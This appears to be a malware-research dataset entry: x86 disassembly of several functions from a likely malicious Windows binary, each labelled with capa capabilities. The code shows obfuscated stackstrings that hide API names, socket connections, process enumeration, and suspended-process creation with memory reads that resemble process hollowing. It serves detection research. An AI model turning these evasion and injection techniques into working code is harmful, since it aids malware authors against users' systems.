joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001d3d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x28
mov eax, dword [0x101c52b4]
xor eax, esp
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x3c]
push ebx
mov ebx, dword [esp + 0x34]
mov dword [esp + 4], eax
mov al, 0x64
push ebp
mov ebp, dword [esp + 0x34]
mov cl, 0x61
mov byte [esp + 0xd], al
mov byte [esp + 0x15], al
mov al, 0x6c
push esi
push edi
mov byte [esp + 0x14], cl
mov byte [esp + 0x16], 0x76
mov byte [esp + 0x17], cl
mov byte [esp + 0x18], 0x70
mov byte [esp + 0x19], 0x69
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], al
mov byte [esp + 0x20], 0
xchg ebx, eax
xchg ebx, eax
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
push ebx
pop ebx
mov al, al
test esi, esi
je 0x1001d4da
mov al, 0x65
mov byte [esp + 0x24], 0x52
mov byte [esp + 0x25], al
mov byte [esp + 0x26], 0x67
mov byte [esp + 0x27], 0x4f
mov byte [esp + 0x28], 0x70
mov byte [esp + 0x29], al
mov byte [esp + 0x2a], 0x6e
mov byte [esp + 0x2b], 0x4b
mov byte [esp + 0x2c], al
mov byte [esp + 0x2d], 0x79
mov byte [esp + 0x2e], 0x45
mov byte [esp + 0x2f], 0x78
mov byte [esp + 0x30], 0x41
mov byte [esp + 0x31], 0
push ebx
pop ebx
lea edx, [esp + 0x24]
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov edi, eax
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
push eax
pop eax
test edi, edi
je 0x1001d4da
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x44]
push eax
push ecx
push edx
push ebx
push ebp
call edi
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.1010e4d7
add esp, 0x28
ret 0x14
mov ecx, dword [esp + 0x34]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.1010e4d7
add esp, 0x28
ret 0x14

Function at 0x1001f160
Capabilities:
Create thread

Disassembly:
sub esp, 0xc
push esi
push edi
mov ch, ch
mov eax, dword [esp + 0x18]
mov dword [esp + 8], eax
mov edx, edx
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0xc], ecx
push eax
pop eax
mov dword [esp + 0x10], 0
mov ebx, ebx
call fcn.1002fd50
mov edi, eax
mov dh, dh
push 0
push 0
lea edx, [esp + 0x10]
push edx
push 0x1001f0d0
push 0
push 0
call fcn.1011074f
add esp, 0x18
mov esi, eax
nop
push edi
call fcn.1002fe10
add esp, 4
push ebx
pop ebx
test esi, esi
jne 0x1001f1c2
pop edi
xor eax, eax
pop esi
add esp, 0xc
ret
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push edx
pop edx
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ah, ah
mov eax, dword [esp + 0x10]
pop edi
pop esi
add esp, 0xc
ret
Function at 0x1001f1e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2c
mov eax, dword [0x101c52b4]
xor eax, esp
mov dword [esp + 0x28], eax
mov al, 0x6c
mov dl, 0x77
mov cl, 0x69
push esi
mov byte [esp + 8], 0x44
mov byte [esp + 9], dl
mov byte [esp + 0xa], 0x6d
mov byte [esp + 0xb], 0x61
mov byte [esp + 0xc], 0x70
mov byte [esp + 0xd], cl
mov byte [esp + 0xe], 0x2e
mov byte [esp + 0xf], 0x64
mov byte [esp + 0x10], al
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0
mov edx, edx
mov al, 0x74
mov byte [esp + 0x14], 0x44
mov byte [esp + 0x15], dl
mov byte [esp + 0x16], 0x6d
mov byte [esp + 0x17], 0x53
mov byte [esp + 0x18], 0x65
mov byte [esp + 0x19], al
mov byte [esp + 0x1a], 0x57
mov byte [esp + 0x1b], cl
mov byte [esp + 0x1c], 0x6e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], dl
mov byte [esp + 0x20], 0x41
mov byte [esp + 0x21], al
mov byte [esp + 0x22], al
mov byte [esp + 0x23], 0x72
mov byte [esp + 0x24], cl
mov byte [esp + 0x25], 0x62
mov byte [esp + 0x26], 0x75
mov byte [esp + 0x27], al
mov byte [esp + 0x28], 0x65
mov byte [esp + 0x29], 0
mov bh, bh
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
mov ebx, ebx
test esi, esi
je 0x1001f2da
lea ecx, [esp + 0x14]
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push edx
pop edx
test eax, eax
je 0x1001f2d1
mov dword [esp + 4], 1
mov bh, bh
push 4
lea edx, [esp + 8]
push edx
push 2
push edi
call eax
push edx
pop edx
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
xchg ebx, eax
xchg ebx, eax
mov ecx, dword [esp + 0x2c]
pop esi
xor ecx, esp
call fcn.1010e4d7
add esp, 0x2c
ret
Function at 0x10020060
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x10175bf9
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x101c52b4]
xor eax, esp
mov dword [esp + 0x2c], eax
push ebx
push edi
mov eax, dword [0x101c52b4]
xor eax, esp
push eax
lea eax, [esp + 0x3c]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x10], ebx
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov dword [esp + 0x14], esi
mov byte [esi + 4], bl
mov dword [esp + 0x44], ebx
mov dword [esp + 0x10], 1
mov dl, dl
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.10110dbf
add esp, 4
mov bh, bh
mov byte [esp + 0x18], 0x61
mov byte [esp + 0x19], 0x62
mov byte [esp + 0x1a], 0x63
mov byte [esp + 0x1b], 0x64
mov byte [esp + 0x1c], 0x65
mov byte [esp + 0x1d], 0x66
mov byte [esp + 0x1e], 0x67
mov byte [esp + 0x1f], 0x68
mov byte [esp + 0x20], 0x69
mov byte [esp + 0x21], 0x6a
mov byte [esp + 0x22], 0x6b
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], 0x6d
mov byte [esp + 0x25], 0x6e
mov byte [esp + 0x26], 0x6f
mov byte [esp + 0x27], 0x70
mov byte [esp + 0x28], 0x71
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], 0x73
mov byte [esp + 0x2b], 0x74
mov byte [esp + 0x2c], 0x76
mov byte [esp + 0x2d], 0x77
mov byte [esp + 0x2e], 0x78
mov byte [esp + 0x2f], 0x79
mov byte [esp + 0x30], 0x75
mov byte [esp + 0x31], 0x41
mov byte [esp + 0x32], 0x42
mov byte [esp + 0x33], 0x43
mov byte [esp + 0x34], 0x44
mov byte [esp + 0x35], 0x45
mov byte [esp + 0x36], 0x46
mov byte [esp + 0x37], 0x47
mov bh, bh
call fcn.10110dcc
and eax, reloc.OLEAUT32.dll_VariantInit
jns 0x1002017d
dec eax
or eax, 0xfffffff8
inc eax
add eax, 8
push edx
pop edx
mov bl, bl
cmp eax, ebx
jle 0x100201c2
mov edi, eax
lea ebx, [ebx]
call fcn.10110dcc
and eax, 0x8000001f
jns 0x100201a1
dec eax
or eax, 0xffffffe0
inc eax
mov bh, bh
mov al, byte [esp + eax + 0x18]
add al, 1
mov byte [esp + 0xc], al
mov ecx, dword [esp + 0xc]
push ecx
push 1
mov ecx, esi
call fcn.1001ff90
mov edx, edx
sub edi, 1
jne 0x10020190
mov eax, esi
mov ecx, dword [esp + 0x3c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.1010e4d7
add esp, 0x3c
ret
Function at 0x10020fc0
Capabilities:
Resolve dns

Disassembly:
push 0xffffffffffffffff
push 0x101704a2
mov eax, dword fs:[0]
push eax
sub esp, 0x11c
mov eax, dword [0x101c52b4]
xor eax, esp
mov dword [esp + 0x118], eax
push ebx
push esi
push edi
mov eax, dword [0x101c52b4]
xor eax, esp
push eax
lea eax, [esp + 0x12c]
mov dword fs:[0], eax
mov esi, dword [esp + 0x13c]
mov edi, dword [esp + 0x140]
xor ebx, ebx
push 0xff
lea eax, [esp + 0x2d]
push ebx
mov dword [esp + 0x18], ebx
push eax
mov dword [esp + 0x24], esi
mov byte [esp + 0x34], bl
call fcn.1010efd0
add esp, 0xc
mov ebx, ebx
mov ebp, ebp
mov eax, eax
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov eax, eax
cmp eax, 0xffffffff
je 0x10021069
mov eax, edi
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov byte [esi + 4], bl
lea edx, [eax + 1]
nop
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x10021050
sub eax, edx
push eax
push edi
mov ecx, esi
call fcn.1000a180
jmp 0x10021132
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov bh, bh
cmp eax, ebx
jne 0x10021095
push ebx
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
push 0x10178a34
mov ecx, esi
mov byte [esi + 4], bl
call fcn.1000a180
jmp 0x10021132
cmp word [eax + 0xa], 4
je 0x100210a6
push 0x10178a34
jmp 0x1002112b
mov ecx, ecx
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
push ecx
push eax
lea ecx, [esp + 0x1c]
push ecx
call fcn.101102f0
add esp, 0xc
push ecx
pop ecx
mov cl, 0x25
mov al, 0x64
mov dl, 0x2e
mov byte [esp + 0x1c], cl
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], dl
mov byte [esp + 0x1f], cl
mov byte [esp + 0x20], al
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], cl
mov byte [esp + 0x23], al
mov byte [esp + 0x24], dl
mov byte [esp + 0x25], cl
mov byte [esp + 0x26], al
mov byte [esp + 0x27], bl
mov dh, dh
movzx edx, byte [esp + 0x17]
movzx eax, byte [esp + 0x16]
push edx
push eax
mov eax, dword [esp + 0x1c]
movzx ecx, ah
push ecx
movzx edx, al
push edx
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x3c]
push ecx
call fcn.1010fdb0
add esp, 0x18
mov edx, edx
lea edx, [esp + 0x28]
push edx
mov ecx, esi
call fcn.1000a440
mov dword [esp + 0x134], ebx
mov dword [esp + 0x10], 1
mov eax, esi
mov ecx, dword [esp + 0x12c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x118]
xor ecx, esp
call fcn.1010e4d7
add esp, 0x128
ret
Function at 0x10021170
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push 0xffffffffffffffff
push 0x101704d8
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x101c52b4]
xor eax, esp
mov dword [esp + 0x2c], eax
push ebx
mov eax, dword [0x101c52b4]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov eax, dword [esp + 0x48]
mov dh, dh
push eax
lea eax, [esp + 0xc]
push eax
call fcn.10020fc0
add esp, 8
xor ebx, ebx
mov dword [esp + 0x40], ebx
mov cl, cl
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
push eax
pop eax
cmp dword [esi], 0xffffffff
jne 0x100211f3
mov dword [esp + 0x40], 0xffffffff
cmp dword [esp + 0x20], 0x10
jb 0x100211ec
mov ecx, dword [esp + 0xc]
push ecx
call fcn.100fcea8
add esp, 4
xor eax, eax
jmp 0x10021287
mov word [esp + 0x24], 2
push ecx
pop ecx
cmp dword [esp + 0x20], 0x10
mov eax, dword [esp + 0xc]
jae 0x1002120b
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 0x28], eax
push edx
pop edx
mov edx, dword [esp + 0x4c]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x26], ax
mov ch, ch
mov ecx, dword [esi]
push 0x10
lea eax, [esp + 0x28]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10021266
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
nop
mov dword [esp + 0x40], 0xffffffff
cmp dword [esp + 0x20], 0x10
jb 0x100211ec
mov edx, dword [esp + 0xc]
push edx
call fcn.100fcea8
add esp, 4
xor eax, eax
jmp 0x10021287
mov dword [esp + 0x40], 0xffffffff
cmp dword [esp + 0x20], 0x10
jb 0x10021282
mov eax, dword [esp + 0xc]
push eax
call fcn.100fcea8
add esp, 4
mov eax, 1
mov dword [esp + 0x20], 0xf
mov dword [esp + 0x1c], ebx
mov byte [esp + 0xc], bl
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.1010e4d7
add esp, 0x3c
ret
Function at 0x100221f0
Capabilities:
Create thread

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
xor ebx, ebx
cmp ebp, ebx
jg 0x10022201
pop ebp
xor eax, eax
pop ebx
ret
push esi
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [edi + 0x3270]
cmp eax, ebx
je 0x10022254
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
nop
cmp eax, ebx
jne 0x1002230d
mov esi, dword [edi + 0x326c]
mov bl, bl
mov eax, dword [edi + 0x3270]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push edx
pop edx
mov dword [edi + 0x3270], ebx
mov bh, bh
push esi
call fcn.1010dffc
add esp, 4
mov dh, dh
mov dword [edi + 0x326c], ebx
mov ebx, ebx
push 0x510
call fcn.1010df39
add esp, 4
mov esi, eax
mov bl, bl
cmp esi, ebx
je 0x1002230d
push 0x510
push ebx
push esi
call fcn.1010efd0
add esp, 0xc
mov al, al
mov eax, dword [esp + 0x18]
mov edx, esi
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
cmp cl, bl
jne 0x10022286
mov ebx, ebx
mov ecx, dword [esp + 0x20]
mov dword [esi + 0x104], ecx
mov bh, bh
mov edx, dword [esp + 0x1c]
mov dword [esi + 0x100], edx
mov ch, ch
mov dword [esi + 0x108], ebp
mov ah, ah
mov dword [edi + 0x326c], esi
mov edi, edi
call fcn.1002fd50
mov ebp, eax
mov ah, ah
push ebx
push ebx
push esi
push 0x100212c0
push ebx
push ebx
call fcn.1011074f
add esp, 0x18
mov dword [edi + 0x3270], eax
mov bl, bl
push ebp
call fcn.1002fe10
add esp, 4
mov edi, edi
cmp dword [edi + 0x3270], ebx
jne 0x10022314
mov dword [edi + 0x3270], ebx
mov dl, dl
push esi
call fcn.1010dffc
add esp, 4
push ecx
pop ecx
mov dword [edi + 0x326c], ebx
mov esi, esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x10023630
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x101c52b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x410], 0
push 0x1ff
push 0
lea eax, [ebp - 0x40f]
push eax
call fcn.1010efd0
add esp, 0xc
mov dl, dl
lea ecx, [ebp - 0x410]
push ecx
push 0x200
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov ch, ch
mov byte [ebp - 0x210], 0
push 0x1ff
push 0
lea edx, [ebp - 0x20f]
push edx
call fcn.1010efd0
add esp, 0xc
xchg ebx, eax
xchg ebx, eax
push 0x200
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetLongPathNameA]
push ecx
pop ecx
mov byte [ebp - 0xc], 0x25
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x25
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0
mov dh, dh
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.1010fdb0
add esp, 0x10
mov ebp, ebp
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1010e4d7
mov esp, ebp
pop ebp
ret

Function at 0x10023c10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x101c52b4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x102c9eb8], 0
jne 0x10023cd5
mov byte [ebp - 0x28], 0x77
mov byte [ebp - 0x27], 0x69
mov byte [ebp - 0x26], 0x6e
mov byte [ebp - 0x25], 0x33
mov byte [ebp - 0x24], 0x32
mov byte [ebp - 0x23], 0x75
mov byte [ebp - 0x22], 0x2e
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x6c
mov byte [ebp - 0x1f], 0x6c
mov byte [ebp - 0x1e], 0
mov eax, eax
mov byte [ebp - 0x1c], 0x4e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x55
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x4f
mov byte [ebp - 0x15], 0x70
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x6e
mov byte [ebp - 0x12], 0x49
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], 0x44
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x6b
mov byte [ebp - 9], 0x74
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], 0x70
mov byte [ebp - 6], 0
mov ah, ah
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x102c9eb8], eax
mov dh, dh
cmp dword [0x102c9eb8], 0
jne 0x10023ce2
xor eax, eax
jmp 0x10023ce7
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1010e4d7
mov esp, ebp
pop ebp
ret
Function at 0x10028610
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x101c52b4]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov ebx, ebx
mov dword [ebp - 0x138], 0x128
mov dh, dh
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
nop
cmp dword [ebp - 4], 0xffffffff
jne 0x10028646
jmp 0x100286ae
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.DLL_Process32First
mov dword [ebp - 8], eax
mov cl, cl
cmp dword [ebp - 8], 0
je 0x10028694
mov edx, dword [ebp + 8]
cmp edx, dword [ebp - 0x120]
jne 0x1002867d
mov eax, dword [ebp - 0x130]
push eax
call fcn.10028610
add esp, 4
mov al, al
lea ecx, [ebp - 0x138]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.DLL_Process32Next
mov dword [ebp - 8], eax
mov esi, esi
jmp 0x1002865b
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, ecx
mov ecx, dword [ebp + 8]
push ecx
call fcn.100358e0
add esp, 4
mov edi, edi
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.1010e4d7
mov esp, ebp
pop ebp
ret
Function at 0x1002a800
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x101c52b4]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov cl, cl
nop
mov dword [ebp - 0x48], 0
push ebx
pop ebx
mov dword [ebp - 0x4c], 0
mov dh, dh
mov byte [ebp - 0x44], 0x6e
mov byte [ebp - 0x43], 0x74
mov byte [ebp - 0x42], 0x64
mov byte [ebp - 0x41], 0x6c
mov byte [ebp - 0x40], 0x6c
mov byte [ebp - 0x3f], 0x2e
mov byte [ebp - 0x3e], 0x64
mov byte [ebp - 0x3d], 0x6c
mov byte [ebp - 0x3c], 0x6c
mov byte [ebp - 0x3b], 0
mov ecx, ecx
mov byte [ebp - 0x38], 0x4e
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x51
mov byte [ebp - 0x35], 0x75
mov byte [ebp - 0x34], 0x65
mov byte [ebp - 0x33], 0x72
mov byte [ebp - 0x32], 0x79
mov byte [ebp - 0x31], 0x49
mov byte [ebp - 0x30], 0x6e
mov byte [ebp - 0x2f], 0x66
mov byte [ebp - 0x2e], 0x6f
mov byte [ebp - 0x2d], 0x72
mov byte [ebp - 0x2c], 0x6d
mov byte [ebp - 0x2b], 0x61
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x69
mov byte [ebp - 0x28], 0x6f
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x50
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x63
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x73
mov byte [ebp - 0x20], 0x73
mov byte [ebp - 0x1f], 0
mov dl, dl
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x44]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x48], eax
mov bl, bl
cmp dword [ebp - 0x48], 0
je 0x1002a901
mov dl, dl
lea edx, [ebp - 0x50]
push edx
push 0x18
lea eax, [ebp - 0x18]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x48]
mov dword [ebp - 0x54], eax
mov eax, eax
cmp dword [ebp - 0x54], 0
jl 0x1002a901
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x4c], edx
mov esi, esi
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1010e4d7
mov esp, ebp
pop ebp
ret
Function at 0x1002af30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x101c52b4]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov edx, edx
mov dword [ebp - 4], 0
mov dl, dl
mov dword [ebp - 8], 0
mov dh, dh
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x64
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x2e
mov byte [ebp - 0x12], 0x64
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0
mov edx, edx
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [ebp - 0x1c], eax
mov eax, eax
cmp dword [ebp - 0x1c], 0
je 0x1002b01d
mov byte [ebp - 0x34], 0x5a
mov byte [ebp - 0x33], 0x77
mov byte [ebp - 0x32], 0x55
mov byte [ebp - 0x31], 0x6e
mov byte [ebp - 0x30], 0x6d
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x70
mov byte [ebp - 0x2d], 0x56
mov byte [ebp - 0x2c], 0x69
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x77
mov byte [ebp - 0x29], 0x4f
mov byte [ebp - 0x28], 0x66
mov byte [ebp - 0x27], 0x53
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x63
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6f
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0
mov esi, esi
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 4], eax
mov al, al
cmp dword [ebp - 4], 0
je 0x1002b01d
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 4]
neg eax
sbb eax, eax
add eax, 1
mov dword [ebp - 8], eax
mov ah, ah
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.1010e4d7
mov esp, ebp
pop ebp
ret
Function at 0x1002b030
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov esi, esi
mov dh, dh
push eax
pop eax
mov ebx, ebx
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call fcn.1010efd0
add esp, 0xc
mov ah, ah
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov bh, bh
mov dword [ebp - 0x60], 0x44
push ecx
pop ecx
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov dword [ebp - 8], eax
mov cl, cl
cmp dword [ebp - 8], 0
je 0x1002b148
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp - 0x18]
mov dword [edx], eax
mov ah, ah
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x14]
mov dword [ecx], edx
mov ebp, ebp
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
mov bh, bh
mov edx, dword [ebp + 0xc]
mov dword [edx], 0x10007
push ecx
pop ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
mov ah, ah
lea eax, [ebp - 4]
push eax
push 4
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xa4]
add eax, 8
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
mov eax, dword [ebp + 0x1c]
mov ecx, dword [eax]
mov dword [ebp - 0x80], ecx
push ebx
pop ebx
push 0x1c
lea edx, [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x80]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.DLL_VirtualQueryEx]
test eax, eax
je 0x1002b139
mov dword [ebp - 0x6c], 0x10000
cmp dword [ebp - 0x6c], 0
je 0x1002b12c
jmp 0x1002b139
mov eax, dword [ebp - 0x80]
add eax, dword [ebp - 0x70]
mov dword [ebp - 0x80], eax
push ecx
pop ecx
jmp 0x1002b103
mov ecx, dword [ebp + 0x1c]
mov edx, dword [ebp - 0x80]
sub edx, dword [ecx]
mov eax, dword [ebp + 0x20]
mov dword [eax], edx
mov esi, esi
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret